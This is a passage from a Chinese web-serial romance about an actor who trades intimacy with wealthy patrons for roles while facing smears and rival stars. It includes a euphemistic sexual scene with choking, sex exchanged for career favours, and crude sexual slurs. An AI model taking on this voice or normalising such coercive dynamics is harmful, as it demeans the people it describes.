白宝戎扯起嘴角,视线在江林身上来回打量,而后笑着说道:“带把的儿媳妇,开天辟地头一回了。” “带不带把的和你的睡不就行了?”江林用力捏了一下他的脸,起身去了浴室。 白宝戎自然跟着进去了。 /// 白宝戎的惩罚雷声大,雨点小。 江林安然无恙地去参加《北榕刑侦队》的发布会,低调的灰色夹克衫,没有化妆,蓬松的发丝没有做造型,在一群众老戏骨中仿佛青春男大穿上了大人的衣服。 花絮走的悬疑路线,音乐踩着鼓点,仿佛恐怖片般,光线突然漆黑,打着照明灯,钓鱼老守在自己的鱼竿前,然后钓上来了一具女尸 紧急破案,成立重案组,开始进行侦破 出现几个标签,浮尸、断肢、幼童、雕塑 勾起众人好奇心的花絮和预告,江林和主演们在后台跟着一起看,团队的剪辑手段很厉害,适时地留下伏笔,勾起人们的好奇心。 随后主演团和观众互动,江林站在最旁边的位置,没有去挣c位。 主持人笑着说道:“我听说江老师是警局里的警花是吗?” 这话一出,观众席轻呼出声,是江林的粉丝们。 江林笑了笑:“都是前辈厚爱,开玩笑地称呼啦。” “江老师也太谦虚了。”主持人邀请了观众主演随意提问。 “江老师在剧组和谁的关系是最好的呢?”有位男观众拿着话筒提问道。 江林斟酌了一下:“每个老师对我都很好,如果必须要排个一二三出来,我选择导演,是导演选择我,我才有幸能进入这个组的。” 男生接着犀利提问:“那么请问江老师这次又想和谁组CP呢?” 支持人脸色微变,其他人也惊讶看着他内涵江林,在场所有人都知道江林靠炒cp出道的。 江林倒是面不改色,“这次我的CP是警徽,每天都会陪在我身边,陪着我们熬夜破案,陪着我们访查民情寻找痕迹,带着我们这部剧出现在大家面前。” 男生的话筒被拿走了,回答得滴水不漏,江林脸上的笑容不变,处事不惊。 后面这些问题倒是没有这么尖锐,都是一些提前对好台本的问题。 然后公布电视剧播放的平台和时间,之后就是不少人主创人员、在场的部分媒体和合作方进行晚宴。 江林最近热度不小,三杯酒下肚,众人情绪高涨,觥筹交错间,卓智明勾住他的胳膊,在他耳边说悄悄话,“这次可得谢谢你,如果不是明导,这部剧还不知道要被上面压多久呢。” “嗯?什么?”江林装糊涂。 卓智明轻哼一声,笑着说道:“虽然我年纪大了,可是还没老糊涂,还有一双眼睛也没瞎。” “他明若卿凭什么帮我?不就是看重你吗?” 江林淡笑不语,喝了杯中酒,脸颊发烫。 卓智明似乎喝多了,话也多了起来:“导演在剧组像是土皇帝似的,作威作福,说一不二,但其实在那些人眼里,我们就是一个屁!” 江林扶住他的肩膀,低声道:“您喝醉了。” “我没醉!你是戏子,我就是个编曲的”卓智明指着江林的鼻子说。 江林静静听着,不为所动,娱乐圈这些年看着光鲜亮丽,算是普通人能看得见改变命运,跨越阶级的唯一道路,但是就算做到了娱乐圈头部,在某些人眼中始终戏子,依旧是玩物。 他从不反驳这种说话,毕竟社会阶级已经定性,旁人无法改变,但江林只是想要多获得一些主动权和自由权,直到不受任何的桎梏。 江林没喝醉,坐在商务车上揉了揉眉心,在手机翻找出一个电话。 “叶主编。” “嗯。” “有时间吗?”江林眼睛有些湿润,小庄给他递过来醒酒的药。 “还在公司。”叶成哲似乎并不意外他的电话。 “我去找你?” “在地下车库等我。”叶成哲言简意赅说。 在公司楼下等叶成哲十分钟左右,他才从电梯出来,一身剪裁合身的西装,没有戴领带,衣领敞着,显得有些风流。 叶成哲上车后看着江林泛红的脸,开口问道:“今天喝酒了?” “嗯,发布会。”江林睁开眼看着叶成哲。 叶成哲不是白宝戎,也不是明若卿,他对江林提供的资源是有附加条件的,他是一个合格狡猾又薄情的资本家。 白宝戎虽然现在身处高位,但从小却是三教九流中长大,性格颇为仗义和匪气。 明若卿虽然从小在明家长大,但受母亲早亡,父亲背弃的影响,古板又离经叛道地选择了娱乐圈,其实心软又好拿捏。 只有叶成哲,从小在全家人宠溺中长大,无法无天,想得到的不择手段,没有得不到的,碰到江林这个变数,却也没有一味地顺从和溺爱。 那天江林耍他一回,他便卡着他的角色。 “难得今天江大明星想起我。”叶成哲似笑非笑地看着他,戏谑地说道。 江林冷冷地勾起唇角:“《江湖》开机在即,但我还没收到导演的回信。” 叶成哲愿意给江林资源,但也绝不肯吃亏,所以他卡着江林的邀约和合同。 “可能是你不合格呢?”叶成哲挑眉。 “我给导演打了电话。”江林并不着急,也不生气,那角色是他的囊中之物,他不愿意让叶成哲拿捏了。 叶成哲眉梢又是轻轻一动,倒也不装了,看向前面的小庄和司机:“你俩先下去上个厕所,抽根烟。” 小庄率先开口:“我不抽烟。” 叶成哲没说话,只是挑衅地看着江林。 江林发话了:“小庄给我去买一杯奶茶。” 小庄和司机这才磨磨蹭蹭地下车,司机站在不远处,背过身去。 乌黑的车内,看不清五官轮廓,叶成哲的手是顺着江林的手指往上摸的,手勾住他的脖子,但江林只是坐着,没有配合。 “上次你耍我,我还没生气呢,怎么你还气上了?”叶成哲语气中带着意味不明的哼笑,手指摩梭着他的后颈。 江林依旧没说话,只是把玩着自己手指的戒指。 “我明天休息。”叶成哲主动凑过去,轻声道:“后天工作日,剧组那边大概就会官宣主演名单了。” 他是卡着点让江林来找他的,江林明天也休息。 “叶成哲,你真贱啊。”江林低声骂出声,手掐住叶成哲的脖子,若是有光便能瞧见他眉眼间的不耐烦和眼神中一闪而过的恶意。 叶成哲根本不反抗,任由江林掐着自己的脖子,缓缓爬到江林腿上坐着,低喘着声回答:“不贱哪有机会让你钻空子呢?” “你总不能什么好处都得了,我什么都没有吧?我可不是傻子啊,江林。” 他吐出江林的本名,毕竟他的签约合同上就有写自己的本名。 狭窄的空间,带着隐秘的暧昧和刺激,细小的水流声,仿佛胶鞋踩在雨水中,带出泥,沁出雨,小小的泥潭变得浑浊泥泞。 感应灯时不时亮起,还好没人经过地下车库,司机也是越站越远。 “江林江林”叶成哲抱着江林的脖子,在他耳边小声喊着他的名字。 江林拧着眉,空间小,根本无法进行什么大的动作,叶成哲就像是古代那勾栏院的妓子,床上和床下两个样。 “你再叫大点声,让所有人都看看叶成哲叶主编是什么恶心样。” 他根本无须怎么动弹,全都是叶成哲在发疯。 “叫你的名字你就害羞了,江林。”叶成哲像是发现了什么好玩的,“江林,江林,好爱你啊” 江林听得心烦,卡住他的喉咙,叶成哲的声音才渐渐小了起来,变成了蚊蝇声 小庄买奶茶姗姗来迟,等再次上车的时候,江林和叶成哲犹如什么都没发生,坐在自己的位置上。江林开着窗,脸上戴上了口罩,正在闭目养神,眉梢却轻轻拧着,不太开心的样子。 叶成哲倒是冲着他笑了笑,外套盖着腿,坐着笔直,嘴唇比之前见的时候红了些,他问:“买的什么奶茶,我瞧瞧?” “江哥爱喝的茉莉奶绿。”小庄轻声说。 “给我吧,你江哥最近在控制体重,我替他喝。”叶成哲伸手,小庄见江林没出声阻止,便递给了叶成哲。 叶成哲插好吸管,递到江林跟前,“你喝不喝?” 江林双眼睁开一条缝,眼底有些潮红,酒意让他的脑仁有些疼,心情不太好:“不喝。” 叶成哲举着没动,察觉出他的难受,便笑着道:“喝一口,以后酒局除非你想参加,其余都可以不用参加。” 江林这才完全睁开眼睛看着他,似乎询问真假。 “真的,以后应酬我让姚金给你全部挡了。”叶成哲得了好处,便非常好说话,眉眼间堪称温柔。 江林纡尊降贵张嘴含住吸管喝了一口。 叶成哲就着他湿漉漉吸管头喝了起来,脖子上还有依稀可见的掐痕,茉莉的味道冲淡了口中的腥味,他舒坦地叹了一声。 江林扫了他一眼,不冷不淡,最终车停在叶成哲的别墅车库。 江林知道躲不过,但还是想躲。 “躲什么?今天不让你劳心劳力了,过来,我给你揉揉脑袋。”叶成哲拍了拍自己旁边的沙发。 江林不太相信地看着他,还是慢吞吞走了过去,叶成哲拍了拍自己的腿,他横着躺下,脑袋搁在他大腿上枕着。 叶成哲的手按在他太阳穴上轻揉,手法不错,精准按在穴位上,轻重也得当,江林原本紧绷的身体逐渐放松,紧拧的眉梢也松了松。 “你说你,明明一条通天大道放在你面前,为什么一定要辛苦攀爬呢。”叶成哲叹息一声。他知道江林的行程一直都很满,月休四天都没有,如果江林听话的话,他给的钱不一定比他赚得少。 躺着就能让江林把钱赚了。 但话说回来,若是江林真的接受了他的要求,那他也不会给江林按摩,伺候他。 归根到底,人就是贱。 江林对他爱理不理,他还就喜欢上赶着。 “重点。”江林像是没听见他说的话,自顾自地发号施令。 叶成哲也不生气,给他加重了力道,他低声说道:“这次《江湖》的剧组有些复杂,男一邓阳,华玉成手下的艺人。” 华玉成是有名的王牌经纪人,一手捧红的邓阳。 “男三主演刘伟宸,星云平台的艺人。两人的脾气在业内不算好,咖位邓阳虽然比刘伟宸更胜一筹,但刘伟宸是星云平台的顶梁柱。之前两人就正面对打过,关系可以说是水火不容,如果不是这次是温才英指导,中央批示安排,没可能一部剧请到这两个冤家。” 江林睁开眼,唇角的笑意有些意味不明:“我在他们中间充当男二?你确定我不会被他们撕碎吗?” “都说三个女人一台戏,其实三个男人更加精彩,钩心斗角不比女人少。”叶成哲手摸了摸江林的嘴唇,望着他的眼睛:“怕什么,你也是咱们公司的台柱子,尽管和他们斗就好了。” 江林看见叶成哲眼睛里的幸灾乐祸,叶成哲手指描绘着江林的下陷的眼窝,笑着说道:“并且我不认为你比他们差,网友们都是一些看热闹不嫌事大的,恨不得你们打起来才好。只要这次表现好,就能轻而易举地踩着两大顶流上位,还有比这更好捷径走吗?” “如果我没演好,也将埋没在舆论的风波中,他们绝对不会让我有再起来的机会吧?”江林看透了叶成哲的算计,眼底带着冷笑。 叶成哲看着他的黑眸,“那你要退出吗?还有明天一天时间的考虑。” “退什么?我的退路不多了。”江林重新阖上眼皮,不为所动。 叶成哲的吻落在他眉心,看着他卷翘浓密的睫毛,在下眼睑撒下一片阴影,冷白的肌肤和交错的阴影交割着他的五官,高耸挺拔的鼻梁,毛孔几乎瞧不见,泛红的嘴唇轻轻抿着,冷漠又精致。 叶成哲的眼神有些痴,带着熄不灭的欲望,他想让江林完全掌控他,但是江林不配合,不愿意,甚至表现出极大的抵触。 “江林,有没有人说过你真的很性感。”叶成哲情不自禁地呢喃,控制不住地低头吻了吻他的唇,舌尖探入他的唇瓣,江林闭着眼没表示,他便亲了几下又依依不舍地松开了。 不得不说,任何人和江林拥抱、亲吻、做/爱,他根本不需要说什么或者做什么,那张脸便会让人觉得是恩赐,想这样的人居然在吻他的嘴,在拥有他只要想想,叶成哲便觉得一阵战栗和激动,他真的性感得要命 “江林”叶成哲似乎要将这张脸映入脑海深处,痴迷地看着他。 /// 叶成哲顾及江林的情绪,没有拽着他做什么,只是要求江林和他睡在一张床上,他偏头就能看见他的脸。 江林困得很,洗漱完便睡着了,睡着前都能感觉一股炙热穿透的目光停留在他脸上,他习以为常地睡着了。 叶成哲则几乎整宿没睡,就盯着江林了,最后忍不住伸手抱住江林,江林睡梦中察觉到力道,眯着眼看了一眼叶成哲,叶成哲亲了亲他的嘴唇,说:“我就抱一下。” 江林又重新睡了。 叶成哲抱着他一宿没动,第二天手臂都僵直麻木得没有任何知觉了。 第95章 江林参加DL的红毯秀, 那一套首饰穿戴卖脱销了后,他便成功进入了一些品牌商的眼中,他们蠢蠢欲动, 想要向江林下手,又有些担心风险。 江林的商务团队, 谨慎挑选了几个品牌签订了合约。 天光微亮,他喝了酒,一夜无梦, 生物钟促使他醒来,陌生的环境和陌生的床没有让他产生任何的不安全感。 叶成哲还在睡, 他五六点才睡着,脸贴着江林的肩膀。 江林揉了揉惺忪的睡眼,率先起床,走到阳台上,眯了眯眼,迎面而来的凉风吹得人清醒, 他坐在摇椅上点了根烟, 阳光不大, 望着外面空旷的景色,心情平静。 叶成哲也好, 白宝戎也罢, 在他心中都是一样的,没有任何的区别。 他身后传来脚步声,男人从身后环住江林的脖颈, 贴着他的耳廓亲了亲,“醒得这么早。” 江林穿着叶成哲的睡衣,身上是他的香水味道, 他只是嗯了一声。 “想吃什么早餐,我让阿姨做。”叶成哲捏了捏他的肩膀。 “不挑。”江林掐灭了烟,慢吞吞起身,进了浴室洗漱。 叶成哲后脚也跟着走了进来,江林拿着崭新的牙刷刷牙,偌大的镜子印着两人的脸,刷牙洗脸完,叶成哲从身后抱住江林,手在他身上摸来摸去,察觉到江林的气息沉了一瞬,冲着镜子中没什么表情的江林笑了一下。 他缓缓蹲下身,抱住了江林的双腿。 /// 又是那个熟悉的餐厅,上次明若卿带他来的,这次身边换了个人,朋友还是那几个,眼底都有讶然,却又默契地藏住惊讶,看向江林的目光都变得有些微妙了。 白胖的男人脸上带着笑:“好久不见了,江大明星。” “陈总好。”江林能直接叫出他的名字,虽然两人只有一面之缘。 “小江,他年纪小,什么都爱玩,陈格你家的跑车送他一辆呗,就当是见面礼了。”叶成哲开口就要,脸皮可见一斑的,脸上似笑非笑地看着他。 陈格原本还想说两句带刺的话,被叶成哲这么一警告只能闭了嘴,皮笑肉不笑地说道:“这是我应该准备的,上次就忘记了呢。” 众人见叶成哲这么母鸡护犊子的状态,顿时不知道说什么了,明若卿的人,他倒是胆子够大,戴绿帽,撬墙脚,撬到明若卿身上了,也是足够野的。 他们有些瞧不上叶成哲的行为,世界上男人女人这么多,就一定要抢朋友的男人吗? 他们可不相信江林对于叶成哲来说是真爱。 “来,江江,你来玩。”叶成哲朝着江林招招手,让他坐在自己的位置上玩玩麻将,自己把筹码都给他留下。 江林上次来并不拘谨,这次也依旧平静,倒没有大杀四方,只是你来我往地打着,不给叶成哲输钱,也不会让人觉得没分寸。 “不是,哲子,你知不知道最近明哥进了监察厅?”这话被轻轻挑起,他打出一张白板,似乎只是朋友之间的闲聊,没有带任何的个人情绪。 江林也像是没听见这句话,手中把玩着麻将。 “是啊,听我爸妈说,一路高升呢,难怪没时间和我们玩了。” 叶成哲轻笑一声,视线率先在江林脸上游转一圈,缓缓挑眉,不冷不热地说道:“明若卿凭着自己的手段和他外公的人脉,在哪不是个人物?” 江林依旧没有任何的表示,对于各种目光毫无表示。 “你们这么关心明若卿,记得打电话慰问一下,到时候真成大官了,让他苟富贵,勿相忘啊,提拔提拔你呀。” “这话说的,就算不打电话,我们从小一起读书同学情分还是在的吧。” 他们不敢得罪叶成哲,叶成哲是个疯的,手段狠辣,但又不满他的行为,所以绵里带针,阴阳怪气。 最后以江林一个清一色止住了他们的话头,紧接着他们便再也没有心思讨论八卦了,因为江林打得他们措手不及,脸色黑沉。 叶成哲笑得不行,手臂搭在江林肩上,笑得发抖,也不知道在开心什么。 陈格和张悠冉对视一眼,脸色有些不善,倒也不是输不起这么些钱,就是不爽被完全压着打的感觉,毫无乐趣可言,况且两人跟明若卿的关系不错。 其他人便开始打圆场,“饭菜都差不多好了,等吃完再战,来来,陈格张总走了。” 江林姿态懒散地靠着椅子,推开眼前的牌,起身准备要走,腰上缠上了叶成哲的手臂,凑在他耳边笑着低语:“真给我争气啊,江林,真恨不得就在这里被你/操,不想去吃饭了” 江林抓着他的手腕,直接掰开,随即甩开,望着他幽黑的眸子,拿起桌上的幺鸡,在他嘴唇上碰了碰,扯起唇角,“舔舔这个鸡得了,别给我到处发神经。” 叶成哲接过幺鸡,有些嫌弃地翻白眼,放在桌上。 两人是最慢到饭桌的,中间只有一个位置,明显是让给叶成哲的。江林的位置和他的相隔十万八千里,在门口的位置上。 这些人都不是什么叶成哲的马仔,怕了叶成哲疯子似的个性和强大的家世对他礼让三分,但不会将他当作皇帝供着。 叶成哲也不在意,扯着江林的手腕,将人光明正大地按在主位上坐下,明目张胆地在他侧脸上亲了一口,“江江坐这里,夹菜方便。” 这话落下,自己到了最角落的位置,正好和江林正面对着。 这下全部的人都不开心了,江林是什么人啊,凭什么坐主位? 这些人骨子里有些刮不去的等级观念,位置从小就是不成文的规矩的,谁有本事,谁家世好便是主位。 现在被一个无名小卒,娱乐圈戏子压一头,怎么都开心不起来。 他们不开心,江林就舒坦了,也不在乎旁边的人脸色不善,自顾自地喝起汤来,眉眼疏离冷淡,那张脸在这些普通或者平凡的脸里面,有一种光艳十射的俊美。 叶成哲便撑着下巴,一直看着他笑,盯着他喝汤的动作,怎么看,怎么顺眼。 旁边的好友见气氛不甚融洽便尴尬地轻声说道:“叶成哲,你这样就有些不厚道了吧,人是明若卿先带来的人,你私底下偷偷摸摸搞了人家的人,在场所有人不会多说半句,但现在弄得有些不好看了吧” 叶成哲给自己杯中倒了一杯茶,笑眯眯地说道:“我就是要明目张胆地带着江林出来见人,偷偷摸摸的算什么,我叶成哲干不出来这事儿。” 杨雪安看向叶成哲的眼神难以置信,他和叶成哲关系一直颇为亲近,否则也不会多嘴说上两句:“你别是认真了?你哥哥难道会纵容你胡闹?退一万步说,一个男人而已,你” “一个男人而已?男人和女人有什么区别,我就是瞧不上明若卿那副清高的样子,他不争不抢,那就等着江林身上被打上我的标签!”叶成哲眯了眯眼,颇为不爽。 他前段时间和明若卿通过电话,叶成哲话里话外阴阳怪气,旁敲侧击的他的想法。明若卿却直接戳穿了他的鬼心思,颇有正宫大气的气度呢。只说,江林喜欢谁他管不着,他也不必来跟他耍心思。 叶成哲气得够呛,他是个混不吝的,都想过和明若卿一起玩呢,但看明若卿瞧不上他的样子,两人大概是玩不了了。 他非黑即白,爱恨分明,讨厌明若卿就想要将江林在明若卿的名头摘掉,按上他的。 江林自然知道叶成哲的性子,不过无所谓,就算再参加一万次这种聚会,他也不会成为某个人的附庸,他们把他当乐子,他何尝不是把他们这群人当成猴子看呢。 叶成哲还在大放厥词,声音不高不低,咬字清晰:“我看重的人,那管什么男人女人,就算是傻子疯子,也得被捧着,被哄着。” 杨雪安倒吸一口凉气,“成,这事儿你开心就好。” 左右他是劝不住叶成哲这种偏执狂的。 气氛渐渐热闹起来,十几个人转移话题,吹起了牛逼,天南地北地说着,说起某个明星,开黄腔也不在少数。 “我还是比较喜欢主持人,那青云台的台柱子宁欢最近跟了我,她啊,看着端庄,实则啧啧啧,非常美妙。” “哦豁,那位的确不错。” 娱乐圈的人对于他们来说是闲暇的谈资,是摆在桌上花瓶中的鲜花,他们没把他们当人,所以当现在江林坐在他们头上的时候,便越发显得气不顺,所以故意说一些贬低人的话。 江林可以想象这场饭局之后,叶成哲会给他树了多少敌。但看他们面露不悦,江林便也管不了其他乱七八糟的了,觉得舒心。 他在叶成哲手下,这些人要动他也得越过叶成哲去。 /// “真够晦气的,被一个戏子压在头上,今天出门忘记看黄历了。”陈格啐了一口,正站阳台上抽烟。 张悠冉脸色也不太好,轻嗤一声:“真的反了天了,玩意一样的东西也配上桌了?” “要我说,也就叶成哲这种疯狗才看得上娱乐圈的人,不知道还以为叶家要破产了,要借助和明星炒热度这种方式来挽救企业呢。”陈格骂骂咧咧的。 “那小明星也是个不老实的,勾搭人的手段倒是不错,前有明若卿后有叶成哲,我倒想知道他到底有什么了不得的,床上技术就这么出神入化?” “哼,再怎么出神入化,那也是上不得台面的鸭子,不知道被人干过多少次了,也就叶成哲不嫌脏。” “那他和叶成哲倒是绝配,叶成哲是条贱狗配婊子” 两人的说话声清晰的传入了在小储物仓隔间中,叶成哲趴在江林耳边,抱着他的肩膀,轻声带着笑:“你听见他们怎么说了吗?” “他们说我们绝配呢。” 叶成哲捡着自己想听的听,这两人的尖锐语言他从小听到大,他们不敢当着他的面蛐蛐。便背地里找到狼狈为奸的货,开始对他诋毁,仿佛在这三言两语的诋毁中,他们能获得成就感,成功踩在叶成哲背上。 江林也不甚在意,男人这种东西不管男女,造黄谣是他们惯用的手段。男人也好,女人也好,但凡和性沾上关系,便能让人像是找到了鸡蛋里的缝儿,也不管真假,就像找到发泄口宣泄,谩骂。 “你好像很享受这种谩骂。”江林看着抱着他蹭的叶成哲,外面的声音还在不断传来,越骂越凶。 “嗯哼,我就喜欢看他们看不惯又弄不死我的样子,只能背地里说一些有的没的话,上不得台面,像阴暗中恶心的蛆虫,你会在乎两只蛆虫的感受吗?”叶成哲说话也难听,不过也在理。 “在诋毁中开花,江林,你也要这样。” 叶成哲摸着他的脸,缓缓从侧脸吻到江林的唇角,诋毁谩骂成为耳边暧昧的交响乐,不在乎之后便不再刺耳难听 江林在《江湖》官宣那天大概知道了叶成哲那番话的用意,铺天盖地的黑稿朝着他席卷而来,风头甚至盖过了其中两位主演。 【笑死,到底粉丝在捂什么嘴?他江遂就是靠潜规则上位的到底有什么争议呢?】 【他能参演明若卿的电视剧,你们这些粉丝不会真的以为靠他的实力吧?】 【我之前就是明导剧组的工作人员,嗯我只能说,我确实看见过江林早上直接从明导房间出来,留宿过很多夜】 【他的代表作到底有什么,明若卿的作品,谁拍谁火,谁再吹嘘他的演技试试呢?】 随之而来的各种内涵式的爆料,自称桃子台员工的小圆,说江林就是被身后的金主买走了合约,才导致 Sunshine团提前解散的。 那为数不多的团粉也开始开麦了。 某些谣言传着传着便成了真的,虽然江林的工作室紧急地发布了声明和律师函,却没有止住谣言的传播。 甚至扒出之前江林还是小糊咖时候进医院的照片,说这是被金主玩坏了才进的医院。 澄清是没有人看的,黄谣是人口口相传的。 江林名字正挂在热搜上,人已经进组了。 宣传经纪人连夜想出公关方案,放出江林的试戏证明,同时澄清原本江林并不是明若卿组里的男主,只是因为上一个男主吸/毒被换角,明若卿见他演技不错合适,才扶持了新人。 这就是仗着上一任男主不能发声便放肆泼脏水。 卓智明也公开发微博力挺江林,放出了江林的试戏片段,同时欢迎大家来剧里审判江林的演技。 这场腥风血雨在网上持续了好几天,网友们到底信谁就智者见智,仁者见仁了。 娱乐圈蛋糕不大,玩得挺脏。 《江湖》的三大男主在片场还是和和气气的,互相问好,完全没瞧出半点不愉快,江林也像是从来没被人故意买黑料般。 “网上闹得这么沸沸扬扬,温导这都没反应?”邓阳看向自己的经纪人,戴着假发套,表情有些惊讶。 “那个江遂后台硬得很,不然怎么能够力压刘伟宸成为男二呢。” 邓阳眼底闪烁嘲讽,他看不上这种靠着潜规则上位的人。 刘伟宸这边气氛更是低沉,他们三人的化妆间相邻,他听见江林在隔壁爽朗的笑声,面对这么大程度的黑料依旧不动声色,还能笑得出来。 “不要再继续了。”刘伟宸的经纪人在电话中说道,声音有些警告。 “难道就让他踩着我上位吗?”刘伟宸气得脸色发青,这些黑料就是星云台养的营销号整的,想着《江湖》是上星剧,还是重点关注项目。 热度这么大,他想用舆论压力逼着温才英和他背后的资本换人,却不想几天过去了,江林还是安然无恙在剧组。 “你想想,现在并不是踩他最好的时期,过犹不及,等剧播出后,只要你的演技压着他打,之后自有网友为你发声,现在你的首要任务就是拍好这部剧。”经纪人的话说得上是苦口婆心了。 刘伟宸牙都咬碎了,才把这口气勉强咽下去. “你跟我客气什么?我知道,我知道,你是第三个跟我打招呼的人了,江遂没什么问题,我就安安心心拍我的戏就好了,剩下的就交给明厅长了。”温才英笑着和电话的男人说着,脸上表情却是纳闷了,江林这人到底是何方神圣啊? 他起初只以为他是叶成哲手下的力捧的艺人呢。 “嗯,他如果有什么对不住的地方,你可以直接打电话给我。”明若卿的声音极为低沉,那边很静,带着照顾自家小辈的威严。 “好好好,江遂的演技没得说,人也不错,您就放心好了。”温才英五六十岁的年纪,对着二三十岁的明若卿用上了敬称。 他们这些混娱乐圈的都算个屁,连真正的大佬毛都摸不到,能不能播也是上面一句话的事。 挂断电话,温才英突然就后悔接了这活,他大爷的,他剧组这些人都是祖宗啊,他混迹娱乐圈这么多年,还是第一次接受这么大的挑战。 江林的角色许昌风是一名风流的剑客,说是风流实则滥情花心,曾经还是采花大盗,头上簪花,风流倜傥,风度翩翩,倒是和他的脸非常适配。 而男一邓阳是立志成为一名大侠的年轻人,怀着一腔热血,一出门便被许昌风盗走了身上的钱财,他连追二里地,两人不打不相识。 邓阳饰演的詹清风满腔热血,理想是行侠仗义,除尽天下不平事。 江林饰演的许昌风则是一腔热血已冷,看透世间凉薄,冷眼旁边的人。 男三刘伟宸是朝廷的三王爷,也是乔装打扮混入江湖的。 三人兼剧中女主乔燕燕不打不相识,后一起驰骋江湖,叱咤风云,成为百姓口中行侠仗义的梅山四侠。 但最后的结局,却不怎么美好,四位注定分道扬镳。 许昌风的结局最为惨烈,孤身一人守孤城,被俘虏后,受尽屈辱,成为威胁男主的工具,两军对峙,许昌风大义凛然自缢于阵前 许昌风这个角色演得好,非常讨喜,但稍有不慎风流变流氓,流氓变油腻,也就彻底坏事儿了。 江林看着厚厚的台词,背了一晚上的台词,被邓阳三言两语改了,江林微笑着没说话。 温才英脸上挂着笑,问:“你觉得这里詹清风的台词显得累赘,那你觉得应该怎么改呢。” 邓阳咖位大,是现在娱乐圈的顶流之一,所以话语权很大,温才英这到现在都没生气,若是别人,他早就破口大骂了,剧组的编剧也是脸色铁青。 “这长篇大论只有哗众取宠的效果,言之无物,会显得詹清风很没有脑子”邓阳夸夸大谈自己的见解,他有恃无恐,左右这个剧换了谁,也不会换掉他。 温才英捏着鼻子听完,刘伟宸在不远处看戏,今天没他的戏份。 导演看向江林,脸上的笑容都快绷不住了:“江遂,你也觉得应该改吗?” “如果詹清风的台词一改,你的角色台词可也得跟着他来了。” “邓哥的想法当然是好的,他不希望自己的角色展现出任何的瑕疵,这种敬业的精神如果放在拍戏上,应该会呈现一个更好的结果吧。”江林对上邓阳不满的视线,丝毫不惧,眼睛弯了弯:“但专业的事情还是交给专业的人吧,编剧老师还在这里呢。” 邓阳之所以想要改角色,就是因为这场戏詹清风表现得有些傻气偏执,而且台词太多,并不是詹清风的高光,而是许昌风的。 他不知道什么群像,他只知道自己要独美! 外面已经有江林艳压他的通告出现了,他更加不想要江林有什么高光。 邓阳说话也毫不客气,“你一个靠潜规则上位的艳星,有什么资格说话?” 这一句话,让江林挑了挑眉,眼神发生了些许变化,温才英脸色一变,想要开口打圆场。 “我是剧里的男二,我没资格发表评论吗?我靠潜规则上位怎么了?你去报警抓我吧。”江林看着邓阳这个小肚鸡肠、心胸狭隘的顶流,顿时便觉得有些无聊,甚至连带着这部剧他都不看好了。 邓阳凭借一部作品爆火,身边的团队运营得好,让他在观众面前呈现出来的样子都是讨喜,但私底下认知水平很低,情商也不高,凉是迟早的事儿。 这下旁边的人也惊呆了,对于江林的坦荡刮目相看,却只能打圆场,“这事儿我们一起商量,大家都是同事” 邓阳火了之后身边人都是哄着他的,现在突然遇见一个硬茬,当场便恼羞成怒发火了,扬言不和江遂这种人拍戏,拉低了他的档次,看了恶心。 江林冷冷地说着,他不跟傻子论长短,让邓阳有能耐的就让他滚出剧组,不然他就是孬种。 拍戏三天,因为男一和男二的不对付进行不下去,江林可不想当什么受气包,他费尽心思可不是来道歉的,半点不低头的,导演来了也不好使。 叶成哲打电话来笑着问他:“哈哈哈,听说你跟邓阳干起来了?” 江林正在卸妆摘头套,把电话开了免提放在旁边,没说话。 “网上的人都说你耍大牌,这次你就耍耍给他们瞧瞧。” “啧,没意思,我还想听你凶我呢,结果被那小子占了便宜。” “别来我这儿犯贱。”江林冷淡地来了一句,显然心情不太好。 叶成哲放软了一点语气,但还是有种幸灾乐祸的样,“当初我没想让你去这个剧组的,但你偏要进,现在被惹生气了,可不能朝我撒气啊。” “你也滚蛋。”江林把电话挂了。 叶成哲又给他打了好几个电话,江林都没接。 最后呢,邓阳这顶流还是没硬过江林这种潜规则上位、背后有人的,僵持了三天。他老老实实继续开始拍戏,只是两人几乎势同水火,剧里是兄弟伙伴,剧外是冤家仇人。 第96章 拍戏对于江林来说是工作, 和谁工作并不会影响他的情绪。邓阳虽然蠢,但演技还是不错的,只是因为对江林瞧不上, 所以总是想从演技上压他一头,导致他表现得有些急, 常常被导演ng重来。 这种时候江林只需要拿着那种嫌弃的眼神看着他,邓阳就会一边爆炸一边不服输地沉淀,下次就指定比上次优秀。 刘伟宸身为第三人, 他着急得要命,恨不得两人打起来才好。 女主乔燕燕就乐呵呵看着三个男人之间的锋芒毕露, 谁也不得罪,谁也不亲近。 这两天没有江林的戏份,他便出去拍广告了,是鞋子品牌,他还在该品牌的直播间待了一天,直播人数稳定在十万+, 一半是来看热闹的, 一半则是喜欢他, 来鼓励他的。 时间进入七八月份,江林接到了母亲李智晴的电话, 当时他还在《江湖》剧组。 “儿子, 今天你生日啊,妈妈特意从老家赶过来给你一个惊喜呢,我现在在高铁站, 你让人来接我呗。”李智晴从前不想认这个儿子,后来江林好起来之后,每个月会给她打钱, 她便对他热切起来。 江林最近在剧组拍戏赶通告忙得没有白天黑夜的,早就忘了这事儿,“嗯,我让小庄去接你。” “诶,好诶。”李智晴挂了电话,她只拖着个箱子,望着这个繁华的城市,脸上带着贪婪的欲望。 江林拍完戏差不多五六点,下戏之后江林带着李智晴安顿好,他不想节外生枝,想知道这次她来的目的是什么。 李智晴年轻时候就长得漂亮,现在也是风韵犹存,唇白齿红,她瞧着这么俊美的儿子,胸中油然而生一种自豪感,她坐在车里,笑着说道:“儿子,这么大的车也是你的啊?” 四座的商务车宽敞,装潢也足够精致,李智晴在老家哪里见过这种东西。 “不是,公司的。”江林没看她,闭目养神,神情冷峻。 李智晴不满他的冷漠,语气也不太好:“我知道你看不上我这种拖油瓶母亲,但我生你下来险些难产,死在手术台上。你那没用的爹进去了,从小到大是我一手把你拉扯大的,你现在翅膀硬了” 她絮絮叨叨说了很多自己的不容易,眼神一直看着江林的神色,察言观色的能力非常不错。 江林微微睁开双眼,黑眸看向她,似笑非笑地说道:“你说的拉扯大,就是让我每天在麻将馆混饭吃,小学就让我辍学?” 李智晴语气一顿,却没有丝毫愧疚之色:“那你也不能怪我,我没钱没本事,你爹又干出那种丢人的事儿,我能让你有顿饭吃就不错了” 江林只是敷衍的笑了笑,“是是是,这次你来又要多少钱?” “没多少,就是”她意识到自己被套话,便住了嘴,眼珠子溜溜转动着:“嗐,你妈就打牌这一点爱好我这次真的只是来陪你过生日的。” “噢,那好吧。”江林随意搭腔。 李智晴这些年脸皮极厚,就算第一次见面的人,她都能拉下面子朝人借钱,更何况是她有血缘关系的亲人呢。 